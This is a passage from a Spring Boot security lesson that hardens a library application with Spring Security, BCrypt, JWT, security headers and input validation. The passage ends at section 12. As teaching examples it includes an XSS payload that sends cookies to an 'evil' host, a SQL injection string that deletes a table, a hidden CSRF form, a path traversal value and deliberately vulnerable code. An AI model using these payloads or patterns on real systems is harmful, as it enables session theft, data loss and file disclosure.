BiblioTech is in production. And it has two holes the size of an entire project.

The first: anyone can do anything. There is no authentication, no authorisation, passwords do not exist as a concept, the API is open to whoever stumbles across it, and nobody has checked whether it is vulnerable to the things that put applications in the news.

The second: when something breaks, you will find out through a phone call. There are no metrics, no traces, no alerts. All that exists is text on the standard output of a container that gets destroyed on the next deployment.

This lesson closes both, and closes the course.

It is organised in four parts. Security: what attacks a Java application and how BiblioTech defends against each thing, with Spring Security applied for real. Observability: the three pillars, and how to know what is happening inside a system you cannot attach a debugger to. Evolution: how to make a system survive the years, the API changes, the upgrades and the growth. And the close of the course: BiblioTech's full journey module by module, what you can do now, what this course does not cover, and where to go next.

Contents

  1. Least privilege and defence in depth
  2. The most common vulnerabilities in a Java application
  3. Vulnerable dependencies and SBOM
  4. Spring Security: the filter chain
  5. Authentication versus authorisation
  6. SecurityFilterChain: the modern configuration
  7. Passwords: BCrypt and what is never done
  8. Authorisation with @PreAuthorize
  9. JWT for the REST API
  10. HTTPS, security headers and limits
  11. Validating every external input
  12. A warning about real security
  13. Observability: the three pillars
  14. Actuator and Micrometer
  15. Business metrics
  16. Prometheus and Grafana
  17. The four golden signals
  18. Distributed tracing
  19. Logs in production
  20. Useful alerts versus noise
  21. The BiblioTech dashboard
  22. API versioning and deprecation
  23. Technical debt and upgrades
  24. Documentation that survives
  25. How to grow BiblioTech
  26. When NOT to split into microservices
  27. Common Mistakes and Tips
  28. Exercises
  29. Closing the course

Part I: Security

  1. Least privilege and defence in depth

Two principles hold up everything else.

Least privilege: every component must have exactly the permissions it needs, and not one more.

Component Wrong privilege Least privilege
Database user postgres (superuser) SELECT/INSERT/UPDATE/DELETE on the application schema
Container user root UID 1001, no capabilities
Metadata API token Read and write Read only
Employee in BiblioTech Administrator EMPLOYEE, and LIBRARIAN only for whoever needs it
CI token Full access to the repository contents: read, packages: write
-- The application user must NOT be able to drop tables
CREATE USER bibliotech_app WITH PASSWORD :'app_password';
GRANT CONNECT ON DATABASE bibliotech TO bibliotech_app;
GRANT USAGE ON SCHEMA public TO bibliotech_app;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO bibliotech_app;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO bibliotech_app;
-- No CREATE, no DROP, no ALTER: the schema is governed by Flyway with ANOTHER user

CREATE USER bibliotech_migrations WITH PASSWORD :'migrations_password';
GRANT ALL PRIVILEGES ON DATABASE bibliotech TO bibliotech_migrations;

Having migrations use a different user from the application has one concrete consequence: a SQL injection in the application cannot drop tables, because the user running it has no permission to do so.

Defence in depth: several independent layers, so that one of them failing does not compromise the system.

flowchart TD
    A["Attacker"] --> C1["1. WAF / rate limiting"]
    C1 --> C2["2. TLS and security headers"]
    C2 --> C3["3. Authentication (JWT)"]
    C3 --> C4["4. Authorisation (roles and @PreAuthorize)"]
    C4 --> C5["5. Input validation"]
    C5 --> C6["6. Parameterised queries"]
    C6 --> C7["7. Least privilege in the database"]
    C7 --> D[("Data")]

Seven layers. An attacker who gets past input validation still runs into parameterised queries; if they got past that, into a database user that cannot delete anything. No single layer is enough on its own, and that is exactly the idea.

  1. The most common vulnerabilities in a Java application

# Vulnerability What it allows Prevention in BiblioTech
1 SQL injection Reading, modifying or wiping the whole database JPA with parameters; never concatenate (11-03)
2 XSS Running JavaScript in another user's browser Thymeleaf's automatic escaping; CSP
3 CSRF Performing actions on the user's behalf CSRF token in forms; irrelevant with JWT in a header
4 Broken access control Viewing or modifying other people's data @PreAuthorize + ownership check
5 Insecure deserialisation Remote code execution Never deserialise external data; no dynamic typing (07-05, 11-07)
6 Sensitive data exposure Leaking passwords, tokens, personal data DTOs; no stack traces to the client; log filters (06-07)
7 Vulnerable dependencies Whatever the CVE allows Automated scanning, updates, SBOM (11-01)
8 Insecure configuration Open management endpoints, default credentials Restricted Actuator; no defaults in production
9 Cryptographic failures Cracked passwords, intercepted traffic BCrypt; TLS mandatory
10 Missing logging and monitoring An attack goes unnoticed for months Auditing and alerts (part II)

1. SQL injection. The classic attack and still the most profitable:

// VULNERABLE. With text = "'; DELETE FROM loans; --" the query becomes two queries.
String jpql = "select m from Material m where m.title like '%" + text + "%'";
em.createQuery(jpql, Material.class).getResultList();
// SAFE: the parameter is NEVER interpreted as SQL. It is a value, not code.
em.createQuery("select m from Material m where lower(m.title) like lower(:text)", Material.class)
  .setParameter("text", "%" + text + "%")
  .getResultList();

Why it works: the engine receives the query and the parameters through separate channels. The query is compiled before the values are known, so a value cannot change its structure. Spring Data does this by default, and so does CriteriaBuilder (12-04).

The one spot where it is still possible to get it wrong, and which deserves special vigilance:

// DANGER: sorting CANNOT be parameterised
@Query(value = "select * from materials order by " + "#{#sort}", nativeQuery = true)   // BAD
// SAFE: allow-list. Never user text in the structure of the query.
private static final Set<String> ALLOWED_SORTS = Set.of("title", "author", "publication_year");

public List<Material> sortedBy(String field) {
    if (!ALLOWED_SORTS.contains(field)) {
        throw new InvalidParameterException("Sort field not allowed: " + field);
    }
    return em.createQuery("select m from Material m order by m." + field, Material.class)
             .getResultList();
}

2. XSS (Cross-Site Scripting). It happens when you serve HTML containing data a user typed in:

<!-- VULNERABLE: if the title is <script>fetch('http://evil/'+document.cookie)</script> -->
<td th:utext="${material.title}"></td>
<!-- SAFE: th:text ESCAPES the HTML. It is Thymeleaf's default. -->
<td th:text="${material.title}"></td>

th:utext (unescaped) exists for legitimate cases and is exactly the one that opens the door. The rule is: th:utext only with content you generated yourself, never with user data.

For a REST API that returns JSON the risk is lower —Jackson escapes correctly— but the extra defence is the Content Security Policy (section 10).

3. CSRF (Cross-Site Request Forgery). A malicious page the user visits while they have a session open in BiblioTech:

<!-- On malicious-site.com -->
<form action="https://bibliotech.nexussoftware.com/api/materials/978-0000000001" method="POST">
  <input type="hidden" name="_method" value="DELETE">
</form>
<script>document.forms[0].submit();</script>

If authentication travels in a session cookie, the browser sends it automatically and the request goes through. Protections:

Authentication Vulnerable to CSRF? Protection
Session cookie Yes CSRF token + SameSite=Strict
JWT in the Authorization header No The browser does not send it by itself
JWT in a cookie Yes CSRF token all the same

That is why Spring Security disables CSRF on stateless APIs with a JWT in a header: it is not sloppiness, it is that the attack vector does not exist.

4. Broken access control. The most frequent and the most underestimated:

// VULNERABLE: any authenticated employee sees anybody else's loans
@GetMapping("/api/employees/{id}/loans")
public List<LoanResponse> loansOf(@PathVariable Long id) {
    return manager.loansOf(id).stream().map(LoanResponse::from).toList();
}
// SAFE: either it is you, or you are a librarian
@GetMapping("/api/employees/{id}/loans")
@PreAuthorize("#id == authentication.principal.id or hasRole('LIBRARIAN')")
public List<LoanResponse> loansOf(@PathVariable Long id) { … }

The technical name for this vulnerability is IDOR (insecure direct object reference), and the rule that avoids it is simple to state and easy to forget: knowing who you are is not enough; you have to check that the resource is yours.

5. Insecure deserialisation. This picks up 07-05 and 11-07, and deserves a prominent warning because it is not a confidentiality failure: it is remote code execution.

// EXTREMELY DANGEROUS: never with data you do not control.
ObjectInputStream ois = new ObjectInputStream(userInput);
Object object = ois.readObject();      // this can execute arbitrary code

An attacker builds an object graph that, when deserialised, chains calls into libraries present on the classpath (gadget chains) until it reaches Runtime.exec(). The attacked class does not even have to be yours.

// And in Jackson, the equivalent:
mapper.enableDefaultTyping();                          // NEVER with external data
mapper.activateDefaultTyping(validator, …);            // only with a strict allow-list

Rules: do not use Java serialisation for external data; use JSON with concrete classes; if you need polymorphism, @JsonTypeInfo with explicit @JsonSubTypes backed by sealed; and if you inherit code that deserialises, apply an ObjectInputFilter (Java 9+).

6. Sensitive data exposure. Three vectors, all three present in BiblioTech before this lesson:

// (a) In the response: entity exposed together with the password hash
@GetMapping("/api/employees/{id}")
public Employee byId(@PathVariable Long id) { … }      // BAD: DTO, always (12-01)

// (b) In the log: personal data and credentials
log.info("Authenticating {} with password {}", email, password);       // BAD, and very common
log.debug("Request received: {}", request);                            // what is inside it?

// (c) In the error: a stack trace that reveals versions and internal structure
server.error.include-stacktrace: always                                 // BAD (12-04)

The defence in the log, with a masking filter:

public class SensitiveDataMasker extends ClassicConverter {

    private static final List<Pattern> PATTERNS = List.of(
        Pattern.compile("(\"(?:password|passwd|token|apiKey|secret)\"\\s*:\\s*\")([^\"]+)(\")",
                        Pattern.CASE_INSENSITIVE),
        Pattern.compile("(Authorization:\\s*Bearer\\s+)(\\S+)", Pattern.CASE_INSENSITIVE),
        Pattern.compile("\\b(\\d{8})([A-Za-z])\\b")     // national ID number
    );

    @Override
    public String convert(ILoggingEvent event) {
        String message = event.getFormattedMessage();
        for (Pattern p : PATTERNS) {
            message = p.matcher(message).replaceAll("$1***$3");
        }
        return message;
    }
}

  1. Vulnerable dependencies and SBOM

This picks up 11-01 and Log4Shell. Your code can be flawless and still be vulnerable, because 90% of what runs in production was written by somebody else.

Automated scanning:

<plugin>
  <groupId>org.owasp</groupId>
  <artifactId>dependency-check-maven</artifactId>
  <version>10.0.4</version>
  <configuration>
    <failBuildOnCVSS>7</failBuildOnCVSS>      <!-- CVSS 7+ = high or critical -->
    <suppressionFiles>
      <suppressionFile>config/cve-suppressions.xml</suppressionFile>
    </suppressionFiles>
  </configuration>
  <executions>
    <execution><goals><goal>check</goal></goals></execution>
  </executions>
</plugin>
./mvnw org.owasp:dependency-check-maven:check
open target/dependency-check-report.html

Dependabot, which opens PRs automatically:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: maven
    directory: "/"
    schedule: { interval: weekly, day: monday }
    open-pull-requests-limit: 10
    groups:
      spring:
        patterns: ["org.springframework*"]     # group them: less noise
      testing:
        patterns: ["*junit*", "*mockito*", "*assertj*", "*testcontainers*"]
    ignore:
      - dependency-name: "*"
        update-types: ["version-update:semver-major"]   # majors, by hand

SBOM (Software Bill of Materials): the complete inventory of everything the artefact contains. When the next Log4Shell shows up, the question "are we affected?" is answered with a query against the SBOM instead of with two days of archaeology.

<plugin>
  <groupId>org.cyclonedx</groupId>
  <artifactId>cyclonedx-maven-plugin</artifactId>
  <version>2.8.1</version>
  <executions>
    <execution>
      <phase>package</phase>
      <goals><goal>makeAggregateBom</goal></goals>
    </execution>
  </executions>
</plugin>
./mvnw package        # generates target/bom.json and target/bom.xml
grep -i "log4j" target/bom.json      # answer in one second

  1. Spring Security: the filter chain

Spring Security is, essentially, a chain of servlet filters that runs before the request reaches the DispatcherServlet (12-04). It is the Chain of Responsibility pattern from 12-02 in its purest form.

flowchart TD
    P["HTTP request"] --> F1["SecurityContextPersistenceFilter<br/>restores the context"]
    F1 --> F2["CorsFilter"]
    F2 --> F3["CsrfFilter"]
    F3 --> F4["JwtFilter (ours)<br/>validates the token and authenticates"]
    F4 --> F5["AnonymousAuthenticationFilter"]
    F5 --> F6["ExceptionTranslationFilter<br/>turns exceptions into 401/403"]
    F6 --> F7["AuthorizationFilter<br/>is it allowed?"]
    F7 --> D["DispatcherServlet"]
    D --> C["Controller"]

    F7 -.->|"no permission"| E["403 Forbidden"]
    F4 -.->|"invalid token"| E401["401 Unauthorized"]

    style F4 fill:#e3f2fd,stroke:#1565c0

Each filter does one thing and hands control to the next. The practical consequence: adding your own authentication means inserting a filter at the right point, not rewriting anything.

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-security</artifactId>
</dependency>

With that dependency alone, the whole application is protected with basic authentication and a generated password that appears in the log. It is a deliberately safe default: if you configure nothing, nothing is left open.

  1. Authentication versus authorisation

Authentication Authorisation
Question Who are you? What can you do?
When Once, on the way in On every operation
Failure 401 Unauthorized 403 Forbidden
In BiblioTech Email and password → JWT Roles and ownership check

The Spring Security concepts:

Concept What it is In BiblioTech
Authentication Who is authenticated and with what permissions The employee and their roles
Principal The identity BiblioTechUser (our UserDetails)
GrantedAuthority A permission ROLE_EMPLOYEE, ROLE_LIBRARIAN
SecurityContext Holder for the current authentication In a ThreadLocal
UserDetailsService Loads the user by their identifier Queries the employees table
PasswordEncoder Encodes and verifies passwords BCrypt

BiblioTech's roles:

Role Can
EMPLOYEE Browse the catalogue, create their own loans and reservations, see their own fines
LIBRARIAN All of the above + manage the catalogue, see everybody's loans, waive fines
ADMIN All of the above + manage employees, see management endpoints

  1. SecurityFilterChain: the modern configuration

The old way (WebSecurityConfigurerAdapter) has been removed since Spring Security 6. The current one is declarative, with beans and lambdas:

@Configuration
@EnableWebSecurity
@EnableMethodSecurity          // enables @PreAuthorize
public class SecurityConfiguration {

    private final JwtAuthenticationFilter jwtFilter;
    private final SecurityErrorHandler errorHandler;

    @Bean
    SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        return http
            // Stateless API: there is no server session, so there is no cookie-based CSRF
            .csrf(AbstractHttpConfigurer::disable)
            .sessionManagement(s -> s.sessionCreationPolicy(SessionCreationPolicy.STATELESS))

            .cors(cors -> cors.configurationSource(corsSource()))

            .authorizeHttpRequests(routes -> routes
                // --- Public ---
                .requestMatchers(HttpMethod.POST, "/api/auth/login", "/api/auth/refresh").permitAll()
                .requestMatchers("/actuator/health/**").permitAll()

                // --- Read-only catalogue access: any authenticated employee ---
                .requestMatchers(HttpMethod.GET, "/api/materials/**").hasAnyRole("EMPLOYEE", "LIBRARIAN", "ADMIN")

                // --- Catalogue management: librarians ---
                .requestMatchers(HttpMethod.POST,   "/api/materials/**").hasRole("LIBRARIAN")
                .requestMatchers(HttpMethod.PUT,    "/api/materials/**").hasRole("LIBRARIAN")
                .requestMatchers(HttpMethod.PATCH,  "/api/materials/**").hasRole("LIBRARIAN")
                .requestMatchers(HttpMethod.DELETE, "/api/materials/**").hasRole("LIBRARIAN")

                // --- Administration ---
                .requestMatchers("/api/employees/**").hasRole("ADMIN")
                .requestMatchers("/actuator/**").hasRole("ADMIN")

                // --- Documentation: outside production only (see the profile) ---
                .requestMatchers("/swagger-ui/**", "/v3/api-docs/**").hasRole("ADMIN")

                // --- Final rule: EVERYTHING else requires authentication ---
                // implicit denyAll by default: whatever is not declared does not get through
                .anyRequest().authenticated())

            .exceptionHandling(e -> e
                .authenticationEntryPoint(errorHandler)        // 401 in Problem Details format
                .accessDeniedHandler(errorHandler))            // 403 likewise

            // Our filter BEFORE the username-and-password one
            .addFilterBefore(jwtFilter, UsernamePasswordAuthenticationFilter.class)

            .headers(h -> h
                .frameOptions(FrameOptionsConfig::deny)
                .contentSecurityPolicy(csp -> csp.policyDirectives(
                    "default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none'"))
                .httpStrictTransportSecurity(hsts -> hsts
                    .includeSubDomains(true)
                    .maxAgeInSeconds(31_536_000)))

            .build();
    }

    @Bean
    PasswordEncoder passwordEncoder() {
        // Strength 12: ~250 ms per verification on 2026 hardware.
        // Slow enough for an attacker, tolerable for a user.
        return new BCryptPasswordEncoder(12);
    }

    @Bean
    AuthenticationManager authenticationManager(AuthenticationConfiguration config) throws Exception {
        return config.getAuthenticationManager();
    }
}

Two details that make all the difference:

  • The order of the rules matters. They are evaluated top to bottom and the first one that matches wins. Putting .anyRequest().authenticated() at the top would override everything else.
  • .anyRequest().authenticated() at the end is the safety net: a new endpoint is protected by default. Without that line, any route you had not thought about would be left open.

  1. Passwords: BCrypt and what is never done

Absolute rule: passwords are NEVER stored in a form that allows them to be recovered. Not in the clear, not reversibly encrypted, not with MD5, not with SHA-1, not with plain SHA-256. What you store is a slow salted hash, and the system never knows the original password.

Why fast hashes will not do:

Algorithm Hashes per second (GPU, 2026) Time for 8 alphanumeric characters
MD5 ~200 billion seconds
SHA-1 ~80 billion seconds
SHA-256 ~20 billion minutes
BCrypt (strength 12) ~4,000 centuries

SHA-256 is an excellent algorithm… for what it was designed for, which is data integrity. For passwords, its virtue —speed— is exactly the flaw. BCrypt is designed to be deliberately slow and to have that slowness tunable as hardware improves.

@Service
public class AuthenticationService {

    private final EmployeeRepository employees;
    private final PasswordEncoder encoder;

    /** Registration: the password is encoded and the original is discarded immediately. */
    @Transactional
    public Employee register(String name, String email, char[] password) {
        validateStrength(password);
        try {
            String hash = encoder.encode(new String(password));
            return employees.save(Employee.of(name, email, hash));
        } finally {
            Arrays.fill(password, '\0');   // overwrite it in memory (12-03)
        }
    }

    public Optional<Employee> authenticate(String email, String password) {
        Optional<Employee> employee = employees.findByEmail(email);

        if (employee.isEmpty()) {
            // Compare against a dummy hash so that the response time is the same
            // whether or not the user exists. Without this, an attacker can
            // ENUMERATE users by measuring latency.
            encoder.matches(password, DUMMY_HASH);
            return Optional.empty();
        }
        if (!encoder.matches(password, employee.get().getPasswordHash())) {
            return Optional.empty();
        }
        return employee;
    }
}

A BCrypt hash looks like this, and contains everything needed to verify it:

$2a$12$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
 │   │  └────────────────────┬──────────────────────────────┘
 │   │                       └─ salt (22) + hash (31), in base64
 │   └───────────────────────── cost: 2^12 = 4,096 iterations
 └───────────────────────────── algorithm version

The salt is different for every password, which makes precomputed tables useless and means that two users with the same password end up with different hashes.

Strength validation, following modern criteria (NIST SP 800-63B):

private void validateStrength(char[] password) {
    // Length matters MORE than complexity: "correct horse battery staple"
    // is stronger than "P@ssw0rd" and far easier to remember.
    if (password.length < 12) {
        throw new WeakPasswordException("Minimum 12 characters");
    }
    if (password.length > 128) {
        throw new WeakPasswordException("Maximum 128 characters");   // avoid DoS through BCrypt
    }
    if (isCommon(new String(password))) {
        throw new WeakPasswordException("This password appears in known breaches");
    }
}

Alternatives to BCrypt, in current order of preference: Argon2id (winner of the Password Hashing Competition, resistant to GPU and ASIC attacks), scrypt and BCrypt. All three are acceptable; BCrypt is the most available and battle-tested in the Java ecosystem.

  1. Authorisation with @PreAuthorize

URL-based configuration is a first filter; fine-grained authorisation belongs in the services, because the same use case is invoked by the API, the CLI and the scheduled jobs.

@Service
public class LoanManager implements ManageLoans {

    @Override
    @Transactional
    @PreAuthorize("hasRole('EMPLOYEE')")
    public Loan lend(Isbn isbn, Long employeeId, Integer days) { … }

    /** Either it is your own loan, or you are a librarian. */
    @Override
    @Transactional
    @PreAuthorize("@ownership.isOwnLoan(#loanId) or hasRole('LIBRARIAN')")
    public ReturnResult returnItem(Long loanId, LocalDate date) { … }

    /** Waiving a fine is a decision with a financial impact. */
    @Override
    @Transactional
    @PreAuthorize("hasRole('LIBRARIAN')")
    @Audited(action = "WAIVE_FINE")
    public void waiveFine(Long loanId, String reason) { … }

    /** Filter the result: everybody sees their own. */
    @Override
    @PostFilter("filterObject.employeeId == authentication.principal.id or hasRole('LIBRARIAN')")
    public List<Loan> allActive() { … }
}

The ownership-checking bean, which is the one that closes the IDOR hole:

@Component("ownership")
public class OwnershipChecker {

    private final LoanRepository loans;

    public boolean isOwnLoan(Long loanId) {
        Long userId = currentUser().getId();
        return loans.findById(loanId)
                .map(l -> l.getEmployeeId().equals(userId))
                .orElse(false);
    }

    private BiblioTechUser currentUser() {
        Authentication auth = SecurityContextHolder.getContext().getAuthentication();
        if (auth == null || !(auth.getPrincipal() instanceof BiblioTechUser user)) {
            throw new AccessDeniedException("No authenticated user");
        }
        return user;
    }
}

And a technical warning that connects back to 12-02: @PreAuthorize works through a proxy, exactly like @Transactional. It therefore does not apply to self-invocations (this.method()), nor to private or final methods. Same mechanism, same limitations.

Auditing of sensitive actions, with an aspect (11-02):

@Aspect
@Component
public class AuditAspect {

    private static final Logger audit = LoggerFactory.getLogger("AUDIT");

    @AfterReturning("@annotation(audited)")
    public void record(JoinPoint point, Audited audited) {
        Authentication auth = SecurityContextHolder.getContext().getAuthentication();
        audit.info("action={} user={} arguments={} traceId={}",
                audited.action(),
                auth != null ? auth.getName() : "anonymous",
                Arrays.toString(point.getArgs()),
                MDC.get("traceId"));
    }
}

The audit log is a different thing from the application log: it is kept for longer, it cannot be switched off, and it is what answers "who waived this €200.00 fine?".

  1. JWT for the REST API

A JWT (JSON Web Token) is a signed string containing claims about the user. Its advantage: the server keeps no session state, which is what enables the horizontal scaling from 12-06.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwibmFtZSI6Ik1hcnRhIFJ1aXoifQ.4pcPyMD09olPSyXn
└───────── header ─────────┘ └────────── payload ──────────┘ └── signature ──┘
// Header                            // Payload
{ "alg": "HS256", "typ": "JWT" }     { "sub": "1",
                                       "email": "[email protected]",
                                       "roles": ["EMPLOYEE", "LIBRARIAN"],
                                       "iat": 1785000000,
                                       "exp": 1785003600 }

Fundamental warning: the payload is NOT encrypted, only signed. Anybody can base64-decode it and read it. The signature guarantees that it has not been tampered with, not that it is secret. Never put anything in a JWT that you would not want read.

The full flow:

sequenceDiagram
    autonumber
    participant C as Client
    participant A as AuthController
    participant S as AuthenticationService
    participant J as JwtService
    participant F as JwtFilter
    participant R as LoanController

    C->>A: POST /api/auth/login {email, password}
    A->>S: authenticate(email, password)
    S->>S: BCrypt.matches(password, hash)
    S-->>A: Employee
    A->>J: generateAccess(employee) and generateRefresh(employee)
    J-->>A: access token (15 min) + refresh token (7 days)
    A-->>C: 200 {accessToken, refreshToken, expiresIn}

    Note over C: stores the tokens

    C->>F: GET /api/loans + Authorization Bearer token
    F->>J: validate(token)
    J-->>F: claims (sub, roles)
    F->>F: SecurityContext with the authentication
    F->>R: continues the chain
    R-->>C: 200 with the loans

    Note over C,F: when the access token expires

    C->>A: POST /api/auth/refresh {refreshToken}
    A->>J: validate and check that it is not revoked
    A-->>C: 200 with a fresh access token
@Service
public class JwtService {

    private final SecretKey key;
    private final Duration accessTtl;
    private final Duration refreshTtl;
    private final Clock clock;                    // 10-05: injectable, so it can be tested

    public JwtService(JwtProperties props, Clock clock) {
        // The key comes from an environment variable and must be at least 256 bits.
        // If it is short or sits in the code, the signature can be forged.
        byte[] bytes = Decoders.BASE64.decode(props.secret());
        if (bytes.length < 32) {
            throw new IllegalStateException("The JWT key must be at least 256 bits");
        }
        this.key = Keys.hmacShaKeyFor(bytes);
        this.accessTtl = props.accessTtl();
        this.refreshTtl = props.refreshTtl();
        this.clock = clock;
    }

    public String generateAccess(BiblioTechUser user) {
        Instant now = Instant.now(clock);
        return Jwts.builder()
                .subject(String.valueOf(user.getId()))
                .claim("email", user.getUsername())
                .claim("roles", user.getAuthorities().stream()
                        .map(GrantedAuthority::getAuthority).toList())
                .issuer("bibliotech.nexussoftware.com")
                .issuedAt(Date.from(now))
                .expiration(Date.from(now.plus(accessTtl)))
                .id(UUID.randomUUID().toString())      // jti: lets us revoke this specific token
                .signWith(key, Jwts.SIG.HS256)
                .compact();
    }

    public Claims validate(String token) {
        try {
            return Jwts.parser()
                    .verifyWith(key)
                    .requireIssuer("bibliotech.nexussoftware.com")
                    .clockSkewSeconds(30)              // clock tolerance between servers
                    .build()
                    .parseSignedClaims(token)
                    .getPayload();
        } catch (ExpiredJwtException e) {
            throw new ExpiredTokenException(e);         // the client must refresh
        } catch (JwtException | IllegalArgumentException e) {
            throw new InvalidTokenException(e);         // wrong signature or tampered token
        }
    }
}
@Component
public class JwtAuthenticationFilter extends OncePerRequestFilter {

    private final JwtService jwt;
    private final RevokedTokenRegistry revoked;

    @Override
    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response,
                                    FilterChain chain) throws ServletException, IOException {
        try {
            extractToken(request).ifPresent(token -> {
                Claims claims = jwt.validate(token);

                if (revoked.isRevoked(claims.getId())) {
                    throw new RevokedTokenException();
                }

                var authorities = ((List<?>) claims.get("roles")).stream()
                        .map(String::valueOf)
                        .map(SimpleGrantedAuthority::new)
                        .toList();

                var authentication = new UsernamePasswordAuthenticationToken(
                        new BiblioTechUser(Long.valueOf(claims.getSubject()),
                                           claims.get("email", String.class), authorities),
                        null, authorities);

                SecurityContextHolder.getContext().setAuthentication(authentication);

                // Correlation: the user identifier in the MDC from 11-07
                MDC.put("userId", claims.getSubject());
            });

            chain.doFilter(request, response);

        } catch (ExpiredTokenException | InvalidTokenException | RevokedTokenException e) {
            SecurityContextHolder.clearContext();
            writeProblem(response, HttpStatus.UNAUTHORIZED, e.getMessage());
        } finally {
            MDC.remove("userId");        // rule from 11-07: ALWAYS clean up in a thread pool
        }
    }

    private Optional<String> extractToken(HttpServletRequest request) {
        String header = request.getHeader(HttpHeaders.AUTHORIZATION);
        return (header != null && header.startsWith("Bearer "))
                ? Optional.of(header.substring(7))
                : Optional.empty();
    }
}

The risks of JWT, unvarnished:

Risk Why Mitigation
It cannot be revoked It is valid until it expires; the server never looks it up Short lifetime (15 min) + revocation list by jti
Readable payload It is only signed Nothing sensitive inside
Token theft Whoever holds it, is you HTTPS mandatory; short lifetime
The alg: none attack An unsigned token, accepted by badly used parsers Require the algorithm explicitly when validating
Weak key HS256 with a short key is brute-forceable Minimum 256 bits, from an environment variable
Client-side storage localStorage is reachable from XSS HttpOnly + Secure + SameSite cookie

Where to keep the token in the browser, which is the most argued-over decision:

Location XSS CSRF Verdict
localStorage Vulnerable Immune Convenient, worse
sessionStorage Vulnerable Immune Same, but lost on close
HttpOnly+Secure+SameSite=Strict cookie Immune Protected by SameSite Preferable

The reason: an HttpOnly cookie is not reachable from JavaScript, so an XSS cannot steal it. With localStorage, a single XSS on any page of your domain hands over the whole token.

And the refresh token, which is revocable precisely because it is stored in the database:

@Entity
public class RefreshToken {
    @Id private String id;                    // jti
    private Long employeeId;
    private String tokenHash;                 // the token is stored hashed too
    private Instant expiresAt;
    private Instant revokedAt;
    private String device;                    // so we can show "active sessions"
}

  1. HTTPS, security headers and limits

HTTPS is mandatory, no exceptions. Without TLS, credentials and tokens travel in the clear across every intermediate network.

server:
  ssl:
    enabled: true
    key-store: ${TLS_KEYSTORE_PATH}
    key-store-password: ${TLS_KEYSTORE_PASSWORD}
    key-store-type: PKCS12
    protocol: TLS
    enabled-protocols: TLSv1.3,TLSv1.2        # TLS 1.0 and 1.1 are obsolete

In practice, the usual arrangement is to terminate TLS at a reverse proxy or load balancer (nginx, Traefik, an Ingress). In that case you have to tell Spring to trust the proxy's headers:

server:
  forward-headers-strategy: framework     # honours X-Forwarded-Proto and X-Forwarded-For

Security headers, each with its associated attack:

Header Protects against Value
Strict-Transport-Security Downgrade to HTTP max-age=31536000; includeSubDomains
Content-Security-Policy XSS default-src 'self'; object-src 'none'
X-Content-Type-Options MIME type sniffing nosniff
X-Frame-Options Clickjacking DENY
Referrer-Policy URL leakage strict-origin-when-cross-origin
Permissions-Policy Access to camera, microphone… geolocation=(), camera=()

Size limits, so that nobody takes the service down with one enormous request:

spring:
  servlet:
    multipart:
      max-file-size: 10MB
      max-request-size: 12MB
server:
  tomcat:
    max-http-form-post-size: 2MB
    max-swallow-size: 2MB
    connection-timeout: 20s
    threads:
      max: 200

Rate limiting, with Resilience4j (mentioned in 11-07):

@Component
public class RateLimitFilter extends OncePerRequestFilter {

    private final Cache<String, Bucket> buckets = Caffeine.newBuilder()
            .expireAfterAccess(Duration.ofMinutes(10))
            .maximumSize(100_000)
            .build();

    @Override
    protected void doFilterInternal(HttpServletRequest q, HttpServletResponse r, FilterChain c)
            throws ServletException, IOException {

        String key = keyFor(q);         // authenticated user, or IP if anonymous
        Bucket bucket = buckets.get(key, k -> newBucket(q));

        ConsumptionProbe probe = bucket.tryConsumeAndReturnRemaining(1);
        if (probe.isConsumed()) {
            r.setHeader("X-RateLimit-Remaining", String.valueOf(probe.getRemainingTokens()));
            c.doFilter(q, r);
        } else {
            long waitSeconds = probe.getNanosToWaitForRefill() / 1_000_000_000;
            r.setStatus(HttpStatus.TOO_MANY_REQUESTS.value());        // 429
            r.setHeader(HttpHeaders.RETRY_AFTER, String.valueOf(waitSeconds));
            writeProblem(r, "Too many requests. Try again in " + waitSeconds + " s.");
        }
    }

    private Bucket newBucket(HttpServletRequest q) {
        // Login is limited MUCH more tightly: it is the door to brute-force attacks
        boolean isLogin = q.getRequestURI().startsWith("/api/auth/login");
        int perMinute = isLogin ? 5 : 100;
        return Bucket.builder()
                .addLimit(l -> l.capacity(perMinute).refillGreedy(perMinute, Duration.ofMinutes(1)))
                .build();
    }
}

  1. Validating every external input

This picks up 09-03 and 12-04, and it is stated as a rule:

Every external input is hostile until proven otherwise. External includes: request bodies, parameters, headers, cookies, uploaded files, responses from external APIs, queue messages, command-line arguments and environment variables.

Input Risk Validation
JSON body Injection, unexpected fields @Valid + closed DTO (12-04)
Path parameter Path traversal, injection Typed converter + pattern
Uploaded file name ../../etc/passwd Generated name, never the user's
File content Zip bomb, malware, XXE Size limit, verified type
External API response Malformed or malicious data Typed DTO, limits, timeout
Host header Cache poisoning Allow-list of permitted hosts

The case of path traversal, which is the easiest mistake to make:

// VULNERABLE: name = "../../../etc/passwd"
@GetMapping("/api/reports/{name}")
public Resource download(@PathVariable String name) throws IOException {
    return new FileSystemResource(Path.of("/var/bibliotech/reports/", name));
}
// SAFE: normalise and verify that it is still inside the permitted directory
private static final Path BASE = Path.of("/var/bibliotech/reports").toAbsolutePath().normalize();

@GetMapping("/api/reports/{name}")
public Resource download(@PathVariable @Pattern(regexp = "[a-zA-Z0-9._-]{1,64}") String name)
        throws IOException {

    Path requested = BASE.resolve(name).normalize();

    // The DECISIVE check: after normalising, is it still inside BASE?
    if (!requested.startsWith(BASE)) {
        throw new AccessDeniedException("Path not allowed");
    }
    if (!Files.isRegularFile(requested)) {
        throw new ResourceNotFoundException(name);
    }
    return new FileSystemResource(requested);
}

And XXE (XML External Entity), which affects any XML processing:

// SAFE: disable external entities before parsing any XML
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);

  1. A warning about real security

